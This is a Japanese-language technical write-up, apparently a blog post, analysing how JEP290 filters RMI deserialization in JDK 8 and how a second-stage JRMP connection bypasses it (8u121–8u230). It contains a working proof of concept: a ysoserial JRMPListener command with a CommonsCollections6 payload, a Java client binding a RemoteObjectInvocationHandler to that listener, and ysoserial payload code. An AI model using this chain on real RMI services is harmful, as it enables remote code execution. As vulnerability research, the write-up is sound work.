前言#
上文では、RMI の逆シリアル化に関するいくつかの攻撃手法を分析しました。この文章では、JEP290 メカニズムの検出と回避の考え方について学びました。全体の流れは比較的明確で、レジストリをクライアント側として悪意のある JRMP サーバーに RMI リクエストを発信させるというものです。この時、環境のフィルターは空です。
JEP290 とは#
実験バージョン jdk1.8.0_192
高バージョンの JDK は JEP 290 ポリシーを導入し、クライアントとレジストリの通信過程でデフォルトで registryFilter を設定し、ホワイトリストにあるクラスのみが逆シリアル化できるようにしています。
簡単に言うと、これは逆シリアル化攻撃を防ぐ
ためのホワイトリスト / ブラックリストのフィルター
です。
- 逆シリアル化クラスを制限するメカニズムを提供する、ホワイトリストまたはブラックリスト
- 逆シリアル化の深さと複雑さを制限する
- RMI リモート呼び出しオブジェクトに対してクラスの検証メカニズムを提供する
- プロパティファイルの形式でフィルターを定義できるようにするなど、構成可能なフィルターメカニズムを定義する。
公式文書:https://openjdk.java.net/jeps/290
JEP290 がサポートするバージョン:
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
JEP290 を設定する方法は以下の 2 つです:
- setObjectInputFilter を使用してフィルターを設定する
- conf/security/java.properties ファイルを直接構成する
JEP290 のプロセス分析#
zjj の言葉によれば、実際にはクライアントとレジストリの通信を 2 つの部分に分けています。最初の部分はクライアントとレジストリの正常な通信であり、2 番目の部分はレジストリがクライアントとして悪意のある JRMP サーバーに RMI リクエストを発信することです。2 番目の通信では、JEP290 チェックは行われません。
上の図はリクエストを処理するコードですが、2 つ目のブレークポイントには lookup 接続が存在します。したがって、いくつかのパラメータを制御できる場合、2 つ目のブレークポイントをエントリーポイントとして扱い、その中で新しい RMI 通信を行うことができます。
JEP290 チェックポイント#
まず、サーバー側はRegistryImpl_Skel#dispatch
でリモート呼び出しを処理します。case 0 は bind 操作に対応し、var82 はバインドされるオブジェクトの名前、var87 はエクスポートされるリモートオブジェクトに対応し、ここで受信したリモート呼び出しストリームを逆シリアル化します。
次に、順次ステップを進めます:
readClassDesc
メソッドは、逆シリアル化されるクラスによって異なるケースに入ります。ここでプロキシクラスに注意してください。
filterCheck
に入ります。
最初に分析するときは、logging からブレークポイントを設定できます。この情報はエラーから得られ、呼び出しスタックに基づいて全体のチェックプロセスを分析します。呼び出しスタックは以下の通りです。
filterCheck:1250, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
filterCheck
のstatus = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));
部分では、check メソッドが呼び出されます:RegistryImpl#registryFilter
です。
ここでは逆シリアル化されるクラスにホワイトリスト制限がかけられます:
String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID
逆シリアル化されるクラスがホワイトリストにない場合、REJECTED オペレーターが返され、シリアル化ストリームに不正な内容が含まれていることを示し、例外がスローされます。
サーバー側で bind メソッドの引数は Remote インターフェースを実装したオブジェクトでなければなりませんが、通常の CC チェーンで生成された悪意のあるオブジェクトはこの条件を満たしません。このため、Remote インターフェースを代理するために動的プロキシが必要です。実際には、最終的にバインドされるのは動的プロキシによって生成されたプロキシオブジェクトです:
InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap); Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler); registry.bind("pwn", remote);
逆シリアル化の際、プロキシオブジェクト自体の逆シリアル化だけでなく、その内部フィールドも逆シリアル化される必要があります。これは再帰的なプロセスに似ています。プロキシオブジェクト自体(それ自体がプロキシされるインターフェースを実装している、ここでは Remote インターフェース)はチェックをトリガーしません。実際にチェックをトリガーするのは内部の InvocationHandlerImpl です。
上記の呼び出しスタックを見れば、実際には readObject0 メソッドが 2 回呼び出されていることがわかります。最初はプロキシオブジェクト自体の逆シリアル化、2 回目はその内部フィールドの逆シリアル化です。
readSerialData
メソッドはオブジェクト内部のフィールドを読み取り、次に readObject0 メソッドを処理します:
最終的にInvocationHandlerImpl
がフィルターのチェックをトリガーします:
フィルター作成プロセス#
チェックをトリガーする際、フィルターはラムダ式です。
これによりRegistryImpl#registryFilter
に入ります。全体の呼び出しスタックは以下の通りです。
registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1828757853 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
問題は、なぜRegistryImpl#registryFilter
に入るのかです。まずRegistryImpl
のコンストラクタを見てみましょう。
複数のオーバーロードされたコンストラクタがありますが、コアはフィルターとしてラムダ式を渡すことです。
RegistryImpl::registryFilter
はinfo → RegistryImpl.registryFilter(info)
であり、これはObjectInputFilter
インターフェースの抽象メソッドのシグネチャと一致するため、メソッド参照を使用して簡略化できます:
同時に、2 番目のコンストラクタでは、ラムダ式が ObjectInputFilter インターフェースの形式で UnicastServerRef2 のコンストラクタに渡されます。
最終的に、このクラスのフィルターのメンバー変数に割り当てられます。
また、レジストリの作成過程でフィルターは最終的に UnicastServerRef のメンバー変数として存在し、レジストリがリクエストを処理する際に oldDispatch メソッドでフィルターが ObjectInputStream のメンバー変数 serialFilter に割り当てられます。
呼び出しスタック:
setInternalObjectInputFilter:1219, ObjectInputStream (java.io)
access$000:214, ObjectInputStream (java.io)
setObjectInputFilter:252, ObjectInputStream$1 (java.io)
setObjectInputFilter:296, ObjectInputFilter$Config (sun.misc)
run:423, UnicastServerRef$1 (sun.rmi.server)
run:420, UnicastServerRef$1 (sun.rmi.server)
doPrivileged:-1, AccessController (java.security)
unmarshalCustomCallData:420, UnicastServerRef (sun.rmi.server)
oldDispatch:466, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
Bypass 8u121~8u230#
UnicastRef クラス#
コードの観点から見ると、bind、lookup などのメソッドを実行する際には、まずレジストリを取得します。例えば:
Registry registry = LocateRegistry.getRegistry(1099);
LocateRegistry#getRegistry
メソッドを追跡します:
ここで、TCPEndpoint はレジストリのホスト、ポートなどの情報をカプセル化し、UnicastRef は liveRef をカプセル化します。最終的に取得されるのは RegistryImpl_Stub オブジェクトです。
その後、この Stub オブジェクト(クライアント)を使用してレジストリに接続します。ここでは bind メソッドの例を挙げます。
このプロセスから見ると、UnicastRef の newCall メソッドを介して接続を開始し、検索するオブジェクトをレジストリに送信します。
したがって、UnicastRef 内の LiveRef がカプセル化するホスト、ポートなどの情報を制御できれば、任意の JRMP 接続リクエストを発信できます。これは実際には ysoserial の payloads.JRMPClient の原理です。
RemoteObject クラス#
RemoteObject は抽象クラスであり、後のバイパスの考え方の構築において非常に重要な役割を果たします。これは Remote および Serializable インターフェースを実装しており、ホワイトリストの検出を通過できることを示しています。バイパスで利用される重要なポイントは、その readObject メソッドです:
テストコード#
ここで攻撃するのはregister
です。以下のコマンドと Java ファイルを順に実行します。
/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "open -a Calculator"
RMIRegistry
package bypass_jep290;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("RMI Registry Start");
} catch (Exception e) {
e.printStackTrace();
}
while (true) ;
}
}
DefineClient
package bypass_jep290;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class DefineClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// lookupメソッドも使用できますが、lookupメソッドのプロセスを手動でシミュレートする必要があります。
registry.bind("pwn", handler);
}
}
リクエスト処理時のリモート呼び出しオブジェクトの逆シリアル化(チェックあり)#
まず、クライアントがレジストリに bind リクエストを発信し、RegistryImpl_Skel#dispatch
の処理ロジックに入ります。readObject
でクライアントがレジストリに送信したリモート呼び出しオブジェクトを逆シリアル化します。この中には JEP290 のチェックポイントが存在します。呼び出しスタックは以下の通りです。
filterCheck:1233, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
逆シリアル化されるオブジェクトがRemoteObjectInvocationHandler
であるため、チェックを回避し、次にRemoteObject
のreadObject
メソッドに入ります。
このメソッドでは、シリアル化ストリームからホストとポート情報(悪意のある JRMP サービスのホストとポート)を読み取り、再び LiveRef オブジェクトとしてカプセル化し、現在の ConnectionInputStream に保存します。saveRef メソッドを呼び出します:
TCPEndpoint と ArrayListのマッピング関係が確立されます。
呼び出しスタックは以下の通りです。
readObject:424, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
次に、releaseInputStream
がRemoteCall
に関連付けられた入力ストリームを解放しますが、ここで lookup 検索操作が行われます。
ここでの in は、上で述べた LiveRef オブジェクトをカプセル化した ConnectionInputStream オブジェクトです。さらに追跡します:
ここでは、以前に保存されたマッピング関係に基づいて、シリアル化ストリームからホストとポート情報(悪意のある JRMP サービスのホストとポート)を読み取り、値を抽出してDGCClient#registerRefs
メソッドに渡します。
ここでの lookup は実際には何も行っておらず、単に var0 をカプセル化しただけです。
その後、executeCall()
内でthis.getInputStream();
が新しい通信を確立し、受信したシリアル化データを逆シリアル化します。
呼び出しスタックは以下の通りです。
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
TCPEndpoint(JRMP 段アドレス)の割り当て#
Poc を作成するには、TCPEndpoint がどのように割り当てられるかを確認する必要があります。上記で分析したように、RemoteObject の readObject メソッドから始まります。ここで注意すべき詳細を再確認します。
ここでは、シリアル化データ
からip
とport
を抽出し、TCPEndpoint
を生成してvar2
に割り当て、その後LiveRef
としてカプセル化し、var6.saveRef()
に渡します。
saveRef()
内では、最終的にincomingRefTable
というtable
に存在します。この変数からオブジェクトを取得することができます。
この変数に値を割り当てることができるかどうかを確認します。重要なコードは以下の通りです。
TCPEndpoint var2 = TCPEndpoint.readHostPortFormat(var0);
ObjID var3 = ObjID.read(var0);
LiveRef var5 = new LiveRef(var3, var2, false);
第二段通信に関するチェックの詳細#
最初の通信はサーバーがレジストリに bind し、Register端
にデータを送信します。
上文で述べたように、レジストリの作成過程でフィルターは最終的に UnicastServerRef のメンバー変数として存在し、レジストリがリクエストを処理する際に oldDispatch メソッドでフィルターが ObjectInputStream のメンバー変数 serialFilter に割り当てられます。したがって、現在の serialFilter は null です。
同時に、ここでのConnectionInputStream@953
の番号に注意してください。
次に、UnicastServerRef#unmarshalCustomCallData()
内でthis.serialFilter
に値が設定されます。
ここでの番号はConnectionInputStream@953
です。
次に、第二段の JRMP 通信に入ります。
上記で述べた新しい通信
を確立した後、ObjectInputStream にserialFilter
が設定されますが、UnicastServerRef#oldDispatch
メソッドには入らないため、ここでのserialFilter
は null です。
番号はConnectionInputStream@1121
であり、その後StreamRemoteCall#executeCall
メソッドで JRMP から返された悪意のあるオブジェクトを逆シリアル化します。
ここでもserialFilter
は設定されていません。
小結#
ここで私が言いたいのは、これを明確に分けることです。この方法がJEP290を回避できる理由
は、最初の通信がregistry
とServer端
の間で行われ、第二の通信がJMRP端
との間で行われることです。ここでのConnectionInputStream
は実際にはObjectInputStream
を表しており、最初の通信中に設定されたserialFilter
は最初の通信中にのみ作用し、RegisterとServerの間のreadObject
にのみ作用します!!(JEP290の作用域
)
同時に、JEP290 を回避する考え方は以下の通りです:
- ysoserial を使用して悪意のある JRMPListener を起動する。
- RemoteObject 内の UnicastRef オブジェクトを制御する。このオブジェクトは悪意のあるサーバーのホスト、ポートなどの情報をカプセル化しています。
- クライアント / サーバーがレジストリにこの RemoteObject オブジェクトを送信し、レジストリが readObject メソッドをトリガーすると、悪意のある JRMP サーバーへの接続リクエストが発信されます。
- その後、JRMPListener がトリガーされます。
レジストリが逆シリアル化をトリガーする利用チェーン:
クライアントがデータを送信 –> UnicastServerRef#dispatch –> UnicastServerRef#oldDispatch –> RegistryImpl_Skle#dispatch (リクエスト処理)
–> RemoteObject#readObject (最初の通信、RemoteObject#readObjectに入る、逆シリアル化を通過させるために内部のUnicastRefオブジェクトを設定し、悪意のあるサーバーへのJRMPリクエストを発信)
StreamRemoteCall#releaseInputStream (リソース解放時、第二の通信のエントリーポイント)
–> ConnectionInputStream#registerRefs –> DGCClient#registerRefs –> DGCClient$EndpointEntry#registerRefs
–> DGCClient$EndpointEntry#makeDirtyCall –> DGCImpl_Stub#dirty –> UnicastRef#invoke –> (RemoteCall var1) StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”
yso のコード#
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
**/
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}
待補充 poc 編写思路、看看 ysoserial の二開#
修正#
dirty()
メソッド内で通信を確立
した後、this.filter
にJEP290
(式)を設定しました。
元の
修正後
その後、this.in
のserialFilter
にこのfilter
を設定しました。
dirty()
メソッド内で通信を確立
した後、this.filter
にJEP290
(式)を設定しました。
その後、検出されました。